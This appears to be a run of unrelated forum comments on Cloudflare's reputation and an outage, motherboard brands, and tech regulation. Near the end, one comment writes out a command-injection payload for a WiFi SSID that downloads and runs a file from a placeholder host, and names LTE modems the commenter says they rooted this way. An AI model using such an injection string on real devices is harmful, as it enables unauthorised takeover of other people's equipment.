While I honestly and wholeheartedly respect what you are doing with Cloudflare, and also yourself as a person and an engineer, and having been using Cloudflare and advocating for Cloudflare myself since 2011., I must correct you that given the recent scandals with "mandatory optional upgrades" and "waiving the abuse away - if you pay" (see the relatively recent post on robindev substack), nothing Cloudflare promises can be considered free and without shakedown. The reputation of the company has finally been tarnished. I'm truly sorry to have seen it happen.
I have been using Gigabyte for a very long time and had no problems. ASUS was OK for me too, but MSI boards were the worst due to stability, driver and cooling curve problems. Don’t buy MSI.
I noticed my website has been timing out randomly, and checking Apache server-status page I don't see the requests that are in flight.
At first when I noticed timeouts and slow response, I assumed it was due to my connection or my server. However, after checking on apache, it seems some requests aren't going through at all.
I checked the CF status page at the time, there wasn't this notice, but now there is. I hope this gets resolved soon.
It's not false, but having "big tech company" isn't the only metric of success of a society.
Stuff like quality of life, workers rights, shared values are a bit more important, and that requires the ability to basically tell a company "Who the hell do you think you are?".
It doesn’t answer my question though. What do we get, as member of a society, if one or two companies get to be huge and become monopolies? What’s the societal benefit of that?
I also don’t think regulations like these cripple innovation. They make it harder to compete against more unregulated markets, that’s for sure, but I don’t think that’s a bad thing overall.
Honestly, I'm a bit more regulation-friendly than you, I remember the whole 2000-2010 decade where you had one charger per phone, in a house with 4 people, some with work phone, all incompatible. The switch to one, maybe two kinds of charger was a clear improvement.
If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.
Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.
I haven't yet run into this limit...